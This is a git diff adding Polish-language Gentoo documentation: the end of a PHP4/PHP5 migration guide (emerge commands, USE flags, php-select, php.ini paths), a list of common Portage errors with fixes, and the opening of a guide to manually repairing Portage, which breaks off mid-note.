+    <c>apache2</c> - instaluje <c>mod_php</c> dla Apache 2.0 (nowy projekt)
+  </li>
+</ul>
+
+<p>
+Można używać zamiennie tych flag USE, z tym wyjątkiem, że nie można mieć obu
+<c>apache</c> oraz <c>apache2</c> jednocześnie.
+</p>
+
+<p>
+Dzięki tym ebuildom możemy posiadać jednocześnie zarówno PHP4 jak i PHP5.
+</p>
+
+<pre caption="Instalowanie PHP">
+<comment>(Instaluje najnowszą wersję PHP wraz z modułami CLI oraz Apache2)</comment>
+# <i>USE="cli apache2" emerge 'dev-lang/php'</i>
+
+<comment>(Instaluje jedynie PHP4)</comment>
+# <i>USE="cli apache2" emerge '=dev-lang/php-4*'</i>
+
+<comment>(Instaluje zarówno PHP4 jak i PHP5)</comment>
+# <i>USE="cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<note>
+Flagi USE nie powinny być używane w ten sposób, na dłuższą metę należy
+skorzystać z pliku <path>/etc/portage/package.use</path>, omówimy to później.
+</note>
+
+</body>
+</section>
+<section>
+<title>Nowe kategorie w Portage</title>
+<body>
+
+<p>
+Nowe ebuildy PHP przeniesiono z <c>dev-php</c> do <c>dev-lang/php</c>.  By
+umożliwić niezależną instalację pakietów dla PHP4 i PHP5 dodano dwie nowe
+kategorie w Portage: <c>dev-php4</c> oraz <c>dev-php5</c>.  Kategorie te są
+używane głównie przez pakiety PECL takie jak: <c>pecl-pdo</c>, <c>pecl-apc</c>,
+<c>php-java-bridge</c> i <c>xdebug</c>.
+</p>
+
+<p>
+Instalowanie <c>pecl-apc</c>:
+</p>
+
+<pre caption="Instalacja rozszerzeń PHP takich jak PECL::APC (przykład)">
+<comment>(Instaluje APC jedynie dla PHP4)</comment>
+<i>emerge dev-php4/pecl-apc</i>
+
+<comment>(Instaluje APC jedynie dla PHP5)</comment>
+<i>emerge dev-php5/pecl-apc</i>
+
+<comment>(Instaluje APC dla PHP4 oraz PHP5)</comment>
+<i>emerge dev-php4/pecl-apc dev-php5/pecl-apc</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Nowe katalogi</title>
+<body>
+
+<ul>
+  <li>
+    Zawartość nowych ebuildów będzie się znajdować w <path>/usr/lib/php4</path>
+    i <path>/usr/lib/php5</path> (moduły Apache umieszczone będą w odpowiednim
+    dla nich miejscu).
+  </li>
+  <li>
+    Pakiety PEAR będą położone w <path>/usr/share/php</path> (wcześniej
+    <path>/usr/lib/php</path>).
+  </li>
+  <li>
+    Pakietów PECL nie konfigurujemy już przez dodanie opcji do pliku
+    <path>php.ini</path>, a przez skopiowanie pliku <path>[PACKAGE].ini</path>
+    do katalogu <path>/etc/php/[SAPI]/ext</path>.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Tworzenie dowiązań symbolicznych binariów PHP</title>
+<body>
+
+<p>
+W przypadku gdy instalowane są obie wersje PHP:
+</p>
+
+<pre caption="Instalowanie PHP4 i PHP5">
+# <i>USE="cgi cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<p>
+Ebuildy utworzą dowiązania symboliczne w <path>/usr/bin</path> dla ostatniej
+zainstalowanej wersji PHP. W tym przypadku PHP5, biorąc pod uwagę, że zostało
+zainstalowane po PHP4. Jeśli chcemy by <path>/usr/bin/php</path>
+lub <path>/usr/bin/php-cgi</path> było miejscem położenia dla PHP4 lub też
+jedno dla PHP4, inne dla PHP5 itp. możemy <uri link="#doc_chap3_sect5">posłużyć
+się narzędziem php-select</uri> z pakietu <c>app-admin/php-toolkit</c>, które w
+znacznym stopniu ułatwia tworzenie dowiązań symbolicznych dla binariów.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aktualizowanie poleceń</title>
+<section>
+<title>Szukanie pakietów wymagających uaktualnienia</title>
+<body>
+
+<p>
+W pierwszej kolejności należy ustalić, które dodatkowe pakiety wymagają
+aktualizacji. W tym celu można wykorzystać <c>equery</c>, który jest częścią
+pakietu <c>app-portage/gentoolkit</c>:
+</p>
+
+<pre caption="Lista pakietów zainstalowanych w dev-php">
+$ <i>equery list 'dev-php/'</i>
+[ Searching for all packages in 'dev-php' among: ]
+ * installed packages
+[I--] [  ] dev-php/php-4.4.0 (0)
+[I--] [  ] dev-php/mod_php-4.4.0 (1)
+[I--] [  ] dev-php/smarty-2.6.10 (0)
+[I--] [  ] dev-php/PEAR-PEAR-1.3.5-r1 (0)
+[I--] [  ] dev-php/PEAR-Mail-1.1.6 (0)
+[I--] [  ] dev-php/PEAR-MDB-1.3.0 (0)
+[I--] [  ] dev-php/PECL-apc-3.0.6 (0)
+[I--] [  ] dev-php/PECL-imagick-0.9.11 (0)
+[I--] [  ] dev-php/xdebug-2.0.0_beta3 (0)
+</pre>
+
+<impo>
+Pakiety które zainstalowaliśmy mogą się znacznie różnić od tej listy, dlatego
+należy się upewnić, że jest ona właściwa dla naszego systemu. Zachowujemy
+wygenerowaną tak jak w powyższym przykładzie listę, by mieć pewność, że zostaną
+zaktualizowane wszystkie pakiety.
+</impo>
+
+<note>
+Nie dotyczy to większości programów z kategorii webapp, ponieważ mają osobną
+eklasę, która dba o to by były instalowane poprawnie. Warto jednak sprawdzić
+czy nie ma jej nowej wersji.
+</note>
+
+<p>
+Rozszerzenia PHP, takie jak:
+</p>
+
+<ul>
+  <li><c>PECL-apc</c></li>
+  <li><c>PECL-imagick</c></li>
+  <li><c>xdebug</c></li>
+</ul>
+
+<p>
+Podzielono na 2 osobne kategorie <c>dev-php4</c> oraz <c>dev-php5</c>, by
+umożliwić ich niezależne użycie dla obu wersji PHP. Dodatkowo większość z nich
+ma zmienione nazwy:
+</p>
+
+<p>
+Przykłady nowych katalogów i ich nowego nazewnictwa:
+</p>
+
+<table>
+  <tr>
+    <th>Rozszerzenie PHP</th>
+    <th>stare</th>
+    <th>nowe PHP4</th>
+    <th>nowe PHP5</th>
+  </tr>
+  <tr>
+    <ti>APC</ti>
+    <ti>dev-php/PECL-apc</ti>
+    <ti>dev-php4/pecl-apc</ti>
+    <ti>dev-php5/pecl-apc</ti>
+  </tr>
+  <tr>
+    <ti>Imagick</ti>
+    <ti>dev-php/PECL-imagick</ti>
+    <ti>dev-php4/pecl-imagick</ti>
+    <ti>dev-php5/pecl-imagick</ti>
+  </tr>
+  <tr>
+    <ti>Xdebug</ti>
+    <ti>dev-php/xdebug</ti>
+    <ti>dev-php4/xdebug</ti>
+    <ti>dev-php5/xdebug</ti>
+  </tr>
+</table>
+
+<note>
+Zanim zainstalujemy ponownie te rozszerzenia, należy przejrzeć
+<path>/usr/portage</path>, by zobaczyć jak zostały nazwane poszczególne
+pakiety.
+</note>
+
+</body>
+</section>
+<section>
+<title>Usuwanie starych pakietów</title>
+<body>
+
+<p>
+Wykonaliśmy wiele zmian w działaniu PHP w obrębie Gentoo. Zanim przystąpimy do
+instalacji nowych pakietów, wymagane jest całkowite usunięcie starych pakietów:
+</p>
+
+<pre caption="Usuwanie starych pakietów (przykład)">
+<comment>(Usuwanie pakietów PHP)</comment>
+<i>emerge --unmerge php mod_php</i>
+
+<comment>(Usuwanie rozszerzeń PHP)</comment>
+<i>emerge --unmerge PECL-apc PECL-imagick xdebug</i>
+
+<comment>(Usuwanie bibliotek/aplikacji PHP)</comment>
+<i>emerge --unmerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Flagi USE</title>
+<body>
+
+<p>
+Pewne flagi USE zostały już przez nas dodane, ale warto je przejrzeć i utworzyć
+odpowiednie wpisy w <path>/etc/portage/package.use</path> (plik należy utworzyć
+w przypadku gdy nie istnieje).
+</p>
+
+<note>
+<path>/etc/portage/package.use</path> ustawi oraz zapisze flagi USE dla PHP bez
+konieczności globalnych zmian poprzez edycję pliku <path>make.conf</path>.
+</note>
+
+<p>
+Ustawiamy flagi USE stosownie do instalacji PHP jaką chcemy otrzymać (zalecane
+jest ustawienie przynajmniej jednej flagi USE <c>cli</c>):
+</p>
+
+<pre caption="Flagi USE dla dev-lang/php (przykład)">
+dev-lang/php -* cli apache2 ctype expat fastbuild ftp gd hash iconv memlimit
+mysql nls pcre pic pdo reflection session simplexml sockets spl ssl tokenizer
+truetype unicode xml xsl zlib
+</pre>
+
+<note>
+<c>-*</c> wyłączy wszystkie flagi USE (nawet te podstawowe dla PHP jak np.
+Session-, PCRE-, gd- i MySQL-support!), należy więc sprecyzować każdą flagę USE
+dla każdego rozszerzenia, którego będziemy używać. Szczegóły znajdują się w
+tekście <uri link="http://overlays.gentoo.org/proj/php/wiki/ManagingExtensions">
+Zarządzanie rozszerzeniami</uri>. Trzeba również ustawić flagi USE dla
+domyślnych wartości takich jak <c>pcre</c> jeśli chcemy używać <uri
+link="http://overlays.gentoo.org/proj/php/wiki/PhpRefPcre"> preg_*
+Functions</uri> lub <c>session</c>, jeśli będziemy używać <uri
+link="http://overlays.gentoo.org/proj/php/wiki/PhpRefSession">
+Session Handling Functions</uri>.
+</note>
+
+<p>
+Jeżeli PHP4 i PHP5 będą instalowane równolegle, możemy użyć osobnych flag USE
+dla każdej z wersji:
+</p>
+
+<pre caption="Osobne flagi USE dla PHP4 i PHP5 (przykład)">
+=dev-lang/php-4* -* cli cgi apache2 ctype expat fastbuild force-cgi-redirect
+ftp gd iconv ipv6 memlimit mysql nls pcre pic posix session sockets ssl
+tokenizer truetype unicode xml xsl zlib
+=dev-lang/php-5* -* cli cgi apache2 ctype fastbuild force-cgi-redirect ftp gd
+hash iconv ipv6 memlimit mysql nls pcre pic posix pdo reflection session
+simplexml soap sockets spl sqlite ssl tokenizer truetype unicode xml xmlreader
+xmlwriter xsl zlib
+</pre>
+
+<note>
+Lista zalecanych flag USE <uri
+link="http://overlays.gentoo.org/proj/php/wiki/CommonQuestions">Zalecane flagi
+USE</uri>.  Lista flag USE dostępnych dla PHP <uri
+link="http://overlays.gentoo.org/proj/php/wiki/NewUseFlags">Tabela flag
+USE</uri> znajdująca się na wiki.
+</note>
+
+</body>
+</section>
+<section>
+<title>Instalowanie PHP</title>
+<body>
+
+<p>
+Teraz należy wybrać instalację, którą chcemy posiadać. Możemy wybrać tylko PHP4
+lub PHP5 albo oba równolegle. Samo PHP4 instalujemy poprzez zemergowanie
+<c>=dev-lang/php-4*</c>, by zainstalować PHP5 (najnowszą wersję) użyjemy
+<c>dev-lang/php</c>, natomiast  obie wersje równolegle instalujemy przez
+<c>=dev-lang/php-4*</c> oraz <c>=dev-lang/php-5*</c>.
+</p>
+
+<p>
+Sprawdzanie ustawień flag USE:
+</p>
+
+<pre caption="Sprawdzenie flag USE (przykład)">
+<comment>(Sprawdza pakiet PHP4)</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-4*'</i>
+
+<comment>(Sprawdza pakiet PHP5)</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-5*'</i>
+
+<comment>(Sprawdza rozszerzenia PHP dla PHP4)</comment>
+<i>emerge --pretend --verbose dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>(Sprawdza rozszerzenia PHP dla PHP5)</comment>
+<i>emerge --pretend --verbose dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>(Sprawdza biblioteki/aplikacje PHP)</comment>
+<i>emerge --pretend --verbose PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+<p>
+Jeśli wszystko jest w porządku, instalujemy PHP:
+</p>
+
+<pre caption="Instalowanie nowych pakietów (przykład)">
+<comment>(Instalowanie pakietu PHP4)</comment>
+<i>emerge '=dev-lang/php-4*'</i>
+
+<comment>(Instalowanie pakietu PHP5)</comment>
+<i>emerge '=dev-lang/php-5*'</i>
+
+<comment>(Instalowanie rozszerzenia PHP dla PHP4)</comment>
+<i>emerge dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>(Instalowanie rozszerzenia PHP dla PHP5)</comment>
+<i>emerge dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>(Instalowanie bibliotek/aplikacji PHP)</comment>
+<i>emerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>PHP4 i PHP5 równolegle: wybór binariów do użycia z cli/cgi</title>
+<body>
+
+<p>
+Po zemergowaniu będziemy mieli binaria dostępne dla <c>cli</c> i/lub <c>cgi</c>
+w <path>/usr/lib/php4/bin</path> i/lub <path>/usr/lib/php5/bin</path>. Jeśli
+zainstalowaliśmy oba pakiety, czyli PHP4 i PHP5, Portage nie zdecyduje za
+nas,które z nich powinno być użyte jako domyślne i utworzy dowiązanie do
+najnowszej zainstalowanej przez nas wersji PHP w <path>/usr/bin</path>.  Z tego
+wynika, że jeśli jako ostatnie instalowaliśmy PHP5 to <path>/usr/bin/php</path>
+będzie dowiązane do <path>/usr/lib/php5/bin/php</path>. Tak więc binaria
+<c>cli</c> i/lub <c>cgi</c>, tak jak <c>php-devel</c> (odpowiedzialne za
+utworzenie rozszerzeń PHP przez <c>phpize</c> i <c>php-config</c>) muszą być
+dowiązane (do <path>/usr/bin</path>), można to prosto wykonać poprzez użycie
+<c>php-select</c>, który jest częścią <c>app-admin/php-toolkit</c>.
+</p>
+
+<note>
+Pakiet <c>dev-lang/php</c> jest zależny od <c>app-admin/php-toolkit</c>
+tak więc <c>php-select</c> powinno być automatycznie dostępne po
+zainstalowaniu nowych pakietów PHP.
+</note>
+
+<p>
+Zakładając, ze zainstalowaliśmy <c>=dev-lang/php-4*</c> oraz
+<c>=dev-lang/php-5*</c>, wykonujemy polecenie <c>php-select</c>
+by pokazać obecnie wybrane wersje PHP:
+</p>
+
+<pre caption="Pokazuje obecnie wybrane wersje PHP">
+<comment>(Dla cli)</comment>
+<i>php-select php</i>
+
+<comment>(Dla cgi)</comment>
+<i>php-select php-cgi</i>
+
+<comment>(Dla phpize, php-config)</comment>
+<i>php-select php-devel</i>
+</pre>
+
+<p>
+Powinniśmy zobaczyć coś w rodzaju:
+</p>
+
+<pre caption="Przykładowy listing programu php-select">
+# <i>php-select php</i>
+/usr/bin/php is set to /usr/lib/php5/bin/php
+</pre>
+
+<p>
+Oznacza to, że domyślna ścieżka binariów cli <path>/usr/bin/php</path> jest
+dowiązana do biblioteki PHP5 <path>/usr/lib/php5/bin/php</path>. Tak więc
+skrypty PHP korzystające z <path>/usr/bin/php</path> będą wykonane przez PHP5.
+</p>
+
+</body>
+</section>
+<section>
+<title>Użycie php-select do zmiany domyślnych wersji PHP</title>
+<body>
+
+<p>
+Jeśli domyślne ustawienia wersji z poprzedniego rozdziału nie są
+satysfakcjonujące, można ponownie użyć <c>php-select</c> by wybrać
+pożądane wersje:
+</p>
+
+<pre caption="Wybór interesującej nas wersji">
+<comment>(Dla cli)</comment>
+<i>php-select php php4</i>
+
+<comment>(Dla cgi)</comment>
+<i>php-select php-cgi php5</i>
+
+<comment>(Dla phpize, php-config)</comment>
+<i>php-select php-devel php5</i>
+</pre>
+
+<note>
+Wpisanie <c>php-select -h</c> pokaże nam jak można jeszcze
+wykorzystać <c>php-select</c>.
+</note>
+
+<p>
+Sprawdzanie dowiązań symbolicznych:
+</p>
+
+<pre caption="Sprawdza dowiązania">
+# <i>stat /usr/bin/php /usr/bin/php-cgi /usr/bin/phpize /usr/bin/php-config | grep File</i>
+ File: `/usr/bin/php' -> `/usr/lib/php4/bin/php'
+ File: `/usr/bin/php-cgi' -> `/usr/lib/php5/bin/php-cgi'
+ File: `/usr/bin/phpize' -> `/usr/lib/php5/bin/phpize'
+ File: `/usr/bin/php-config' -> `/usr/lib/php5/bin/php-config'
+</pre>
+
+<note>
+Zauważmy, że <c>php-select</c> zmienia jedynie domyślne wersje. Jeśli
+zainstalowaliśmy PHP4 i PHP5 cgi/cli możemy zawsze użyć bezpośredniej ścieżki
+jak <path>/usr/lib/php4/bin/php</path> i<path>/usr/lib/php5/bin/php</path>
+by uruchomić skrytp PHP z określonymi wersjami. Można również użyć PHP4 i PHP5
+cgi w tym samym przykładzie/przypadku Apache, ale nie możemy korzystać z dwóch
+różnych modułów PHP Apache w jednym przypadku/przykładzie. Więcej informacji
+znajduje się w
+<uri link="php4-php5-configuration.xml">
+Przewodniku konfiguracji PHP4 i PHP5</uri>.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Przenoszenie plików konfiguracyjnych</title>
+<section>
+<body>
+
+<p>
+Pliki konfiguracyjne pakietu PHP znajdują się w katalogu <path>/etc/php</path>,
+który zawiera jeden podkatalog dla każdego SAPI dla każdej wersji PHP:
+</p>
+
+<pre caption="Listuje katalogi (z) konfiguracji/ą PHP">
+$ <i>ls -1 /etc/php</i>
+apache2-php4
+apache2-php5
+cli-php4
+cli-php5
+</pre>
+
+<p>
+Każdy podkatalog zawiera własne <path>php.ini</path>, tak jak stare pakiety.
+</p>
+
+</body>
+</section>
+<section>
+<title>Zmiany w php.ini</title>
+<body>
+
+<p>
+Zalecane jest użycie <c>etc-update</c> lub <c>dispatch-conf</c> i przejrzenie
+różnic pomiędzy starymi a nowymi ustawieniami w <path>php.ini</path>.  Dwie
+opcje/dyrektywy, które bezwzględnie powinny być sprawdzone to
+<c>include_path</c> oraz <c>extension_dir</c>. Tutaj ostrożnie,
+<c>extension_dir</c> różni się pomiędzy poszczególnymi wersjami PHP (również
+pomiędzy 5.0, i 5.1!).
+</p>
+
+<p>
+Przykład dla 5.1 w <path>/etc/php/apache2-php5/php.ini</path> i
+<path>/etc/php/cli-php5/php.ini</path>:
+</p>
+
+<pre caption="Stare ustawienia w php.ini">
+include_path = ".:/usr/lib/php"
+extension_dir = "/usr/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<pre caption="Nowe ustawienia w php.ini">
+include_path = ".:/usr/share/php"
+extension_dir = "/usr/lib/php5/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<warn>
+Należy użyć <c>etc-update</c> lub <c>dispatch-conf</c> by mieć pewność co do
+poprawnych ustawień dla każdego z plików.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Zmiany w konfiguracji rozszerzeń PHP</title>
+<body>
+
+<p>
+Nowy pakiet PHP nie przechowuje już konfiguracji z zewnętrznych (dzielonych)
+rozszerzeń PHP w <path>php.ini</path>. Dyrektywy będą przechowywane w
+specyficznych dla każdego rozszerzenia pliku konfiguracyjnym ulokowanym w
+<path>/etc/php/*/ext</path>. W celu włączenia wspólnych rozszerzeń, używane są
+dowiązania z <path>/etc/php/*/ext-active</path>. Jeśli chcemy włączyć
+rozszerzenie, tworzymy dowiązanie symboliczne w
+<path>/etc/php/*/ext-active</path> odpowiadające plikowi
+<path>[EXTENSION].ini</path> w <path>/etc/php/*/ext/</path>.  Jeśli chcemy
+usunąć/wyłączyć rozszerzenie, usuwamy dowiązanie.
+</p>
+
+<p>
+Jeśli wcześniej było zainstalowane <c>dev-php/PECL-apc</c> to konfiguracja dla
+APC znajduje się w <path>php.ini</path>. Jeśli pakiet <c>dev-php5/pecl-apc</c>
+został przez nas przeinstalowany to domyślna konfiguracja APC będzie zapisana
+do <path>/etc/php/*5/ext/apc.ini</path>.
+</p>
+
+<p>
+Należy więc przenieść konfigurację APC z <path>/etc/php/*5/php.ini</path> do
+<path>/etc/php/*5/ext/apc.ini</path> i utworzyć dowiązanie z
+<path>/etc/php/*5/ext-active/apc.ini</path> do <path>/etc/php/*5/ext/apc.ini
+</path>.
+</p>
+
+<note>
+Jeśli instalujemy PHP jako moduł Apache, należy ponownie uruchomić Apache po
+zainstalowaniu i skonfigurowaniu.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Konfigurowanie Apache do pracy z PHP4 i PHP5</title>
+<section>
+<body>
+
+<p>
+Aby skłonić Apache do ładowania modułu (mod_php) PHP4 lub PHP5, wystarczy dodać
+odpowiednio <c>-D PHP4</c> lub <c>-D PHP5</c> do zmiennej <c>-D PHP4</c>
+respectively <c>-D PHP5</c> to <c>APACHE2_OPTS</c> w pliku
+<path>/etc/conf.d/apache2</path>.
+</p>
+
+<pre caption="Konfiguranie ładowania mod_php w Apache">
+<comment>(dla PHP4)</comment>
+<i>APACHE2_OPTS="-D PHP4"</i>
+
+<comment>(dla PHP5)</comment>
+<i>APACHE2_OPTS="-D PHP5"</i>
+</pre>
+
+<p>
+Istnieje wiele sposobów na to by Apache działał z dwiema równoległymi wersjami
+PHP. Najłatwiej jest użyć PHP4 i PHP5 jako binarii cgi, albo cgi PHP4 i modułu
+PHP5 (lub na odwrót). Nie jest możliwe jednoczesne korzystanie z modułów PHP4 i
+PHP5 w jednym procesie Apache.
+</p>
+
+<p>
+Stworzyliśmy przewodnik konfiguracji PHP4 i PHP5, które przedstawia część z
+możliwych rozwiązań <uri link="php4-php5-configuration.xml">Przewodnik
+konfiguracji PHP4 i PHP5</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pomoc</title>
+<section>
+<body>
+
+<p>
+W razie jakichkolwiek problemów związanych z nowym pakietem Gentoo PHP, oto
+miejsca gdzie można znaleźć pomoc:
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="http://overlays.gentoo.org/proj/php/wiki/CommonQuestions">Częste
+    pytania</uri> związane z PHP w Gentoo</li>
+  <li>
+    <uri link="http://overlays.gentoo.org/proj/php/">Strona dewoloperów
+    PHP</uri>
+  </li>
+  <li>
+    Kanał #gentoo-php w sieci irc.freenode.net. Miejsce spotkań autorów obsługi
+    i użytkowników PHP w Gentoo.
+  </li>
+  <li>
+    <uri link="http://forums.gentoo.org/">Forum Gentoo</uri> popularne miejsce
+    do zadawania pytań. Wielu użytkowników korzysta z forum, jest to więc
+    świetne miejsce do uzyskania w miare szybkiej pomocy.</li>
+</ul>
+
+<p>
+Szczegółowe zastosowanie nowych pakietów znajdziemy na <uri
+link="http://article.gmane.org/gmane.linux.gentoo.devel/30050">postach Stuarta
+na listę gentoo-dev</uri> i w <uri
+link="http://blog.stuartherbert.com/php/">blogu Stuarta</uri>.
+</p>
+
+<p>
+Na  <uri
+link="http://svn.gnqs.org/projects/gentoo-php-overlay">Development-Page</uri>
+znajdziemy dokumentację i najnowsze ebuildy, które będą przeniesione do
+oficjalnego drzewa portage w późniejszym czasie.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/portage/doc/common-problems.xml b/xml/htdocs/proj/pl/portage/doc/common-problems.xml
new file mode 100644
index 00000000..94a96179
--- /dev/null
+++ b/xml/htdocs/proj/pl/portage/doc/common-problems.xml
@@ -0,0 +1,167 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/portage/doc/common-problems.xml,v 1.4 2008/11/15 16:00:18 shadow Exp $ -->
+
+<guide link="/proj/pl/portage/doc/common-problems.xml" lang="pl">
+<title>Najczęstsze problemy z portage</title>
+
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="jacek@sabr.pl">Jacek Karolak</mail>
+</author>
+
+<abstract>
+Ten dokument to zbiór wszystkich informacji dotyczących najpoważniejszych i
+najczęstszych problemów spowodowanych niespójnościami pomiędzy wersjami portage
+i drzewem pakietów.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>19 Feb 2006</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<title>Zakres</title>
+<body>
+
+<p>
+Ten dokument traktuje tylko o najpoważniejszych problemach, które przeszkadzają
+w normalnym użytkowaniu i dotknęły dużej liczby użytkowników w przeszłości (lub
+problemach które uważamy, że mogą dotknąć dużej liczby użytkowników). Jeżeli
+problem nie znajduje się w tym dokumencie, należy poszukać czy nie został
+poruszony wcześniej na <uri link="http://bugs.gentoo.org">Bugzilli</uri> (należy
+przeszukać również listę zamkniętych/rozwiązanych problemów). Jeżeli nikt
+wcześniej nie zgłosił tego problemu, należy go zgłosić, nawet jeśli nie zna się
+rozwiązania.
+</p>
+
+</body>
+</section>
+<section>
+<title>Uaktualnianie portage</title>
+<body>
+
+<p>
+Często rozwiązanie problemów związanych z portage polega na uaktualnieniu samego
+portage. Sugerujemy, aby robić to regularnie (co najmniej co kwartał). W tym
+czasie drzewo portage zacznie pewnie korzystać z nowych funkcji wprowadzonych
+przez kolejne wydania i to zazwyczaj jest przyczyną problemów w pracy z
+wcześniejszymi wersjami u użytkowników, którzy nie przeprowadzili aktualizacji
+na swoich komputerach. Dokładamy wszelkich starań, by drzewo portage wspierało
+wydania z poprzednich sześciu miesięcy, więc jeżeli nie posiada się wersji
+drzewa portage wydanej w tym okresie, jest bardzo prawdopodobne, że nie będzie
+możliwe właściwe korzystanie z drzewa.
+</p>
+
+<p>
+Zalecany sposób uaktualnienia portage jest bardzo prosty: <c>emerge portage</c>
+bez żadnych opcji, w szczególności bez <c>--update</c> ponieważ ta opcja może
+spowodować dziwne zachowanie podczas uaktualniania pojedynczych pakietów.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Częste problemy</title>
+<section>
+<body>
+
+<p>
+<b><e>Błąd "!!! Cannot resolve a virtual package name to an ebuild." podczas
+uaktualniania pamięci podręcznej portage.</e></b>
+</p>
+
+<ul>
+  <li>
+    Opis błędu: <uri
+    link="http://bugs.gentoo.org/show_bug.cgi?id=114798">114798</uri>
+  </li>
+  <li>Spowodowany przez: nieaktualna wersja portage</li>
+  <li>
+    Rozwiązanie: uaktualnić portage i wykonać <c>emerge --sync</c> jeszcze raz
+  </li>
+</ul>
+
+<p>
+<b><e>Próba instalacji jakiegokolwiek pakietu kończy się błędem "!!! No package
+digest file found:"</e></b>
+</p>
+
+<ul>
+  <li>Przyczyna: Brak obsługi Manifest2 w portage-2.0.x</li>
+  <li>
+    Rozwiązanie: <uri
+    link="/proj/en/portage/doc/converting-manifest2.xml">Ręczna aktualizacja
+    portage do wersji co namniej 2.1</uri>
+  </li>
+</ul>
+
+<p>
+<b><e>Błąd<br/>
+portage.db["/"]["porttree"].dbapi.auxdb[porttree_root][cat].clear()<br/>
+KeyError: 'app-dicts'<br/>
+podczas uaktualniania pamięci podręcznej portage.</e></b>
+</p>
+
+<ul>
+  <li>
+    Opis błędu <uri
+    link="http://bugs.gentoo.org/show_bug.cgi?id=100444">100444</uri>
+  </li>
+  <li>Spowodowany przez: nieaktualna wersja portage</li>
+  <li>
+    Rozwiązanie: uaktualnić portage i wykonać <c>emerge --sync</c> jeszcze raz
+  </li>
+</ul>
+
+<p>
+<b><e>Wszystkie operacje z użyciem emerge powodują "!!! 'str' object has no
+attribute 'insert'"</e></b>.
+</p>
+
+<ul>
+  <li>
+    Opis błędu: <uri
+    link="http://bugs.gentoo.org/show_bug.cgi?id=63400">63400</uri>
+  </li>
+  <li>
+    Spowodowany przez: starą wersje portage w połączeniu z profilami kaskadowymi
+  </li>
+  <li>
+    Rozwiązanie: a) <uri link="manually-fixing-portage.xml">ręczne uaktualnienie
+    portage</uri> lub b) użycie płaskiego profilu zgodnie z <uri
+    link="http://bugs.gentoo.org/show_bug.cgi?id=63400#c49">bug 63400</uri>,
+    uaktualnienie portage oraz uaktualnienie profilu
+  </li>
+</ul>
+
+<p>
+<b><e>Po wydaniu polecenia <c>emerge --sync</c> etap "Calculating dependencies"
+zajmuje bardzo dużo czasu. Podobnie po cvs update etap "RepoMan scours the
+neighborhood".</e></b>
+</p>
+
+<ul>
+  <li>
+    Opis błędu: <uri
+    link="http://bugs.gentoo.org/show_bug.cgi?id=124041">124041</uri>
+  </li>
+  <li>
+    Spowodowany przez: zły cache metadata w /var/cache/edb/dep
+  </li>
+  <li>
+    Rozwiązanie: wykonać <c>emerge --regen</c>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/portage/doc/manually-fixing-portage.xml b/xml/htdocs/proj/pl/portage/doc/manually-fixing-portage.xml
new file mode 100644
index 00000000..622e4ac3
--- /dev/null
+++ b/xml/htdocs/proj/pl/portage/doc/manually-fixing-portage.xml
@@ -0,0 +1,163 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/portage/doc/manually-fixing-portage.xml,v 1.7 2008/04/13 19:05:30 shadow Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/portage/doc/manually-fixing-portage.xml" lang="pl">
+
+<title>Ręczna naprawa zepsutego portage</title>
+
+<author title="Autor">
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="rane@gentoo.org">Łukasz Damentko</mail>
+</author>
+
+<abstract>
+Dokument ten służy pomocą ludziom, którzy muszą ręcznie naprawić zepsutą
+instalację sys-apps/portage.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.3</version>
+<date>2007-05-31</date>
+
+<chapter>
+<title>Ręczna naprawa portage</title>
+<section>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Ten tekst wyjaśnia jak należy postępować, aby naprawić lub zaktualizować zepsutą
+instalację portage w przypadku gdy niemożliwe jest uruchomienie komendy
+<c>emerge sys-apps/portage</c>. Nie jest to trudny proces, ale wymaga dużo
+uwagi, dlatego radzimy dokładnie zapoznać się ze wszystkimi etapami naprawy.
+</p>
+
+<note>
+Skrypt automatyzujący ten proces znajduję się pod <uri
+link="http://dev.gentoo.org/~genone/scripts/get_portage_back.sh">tym</uri>
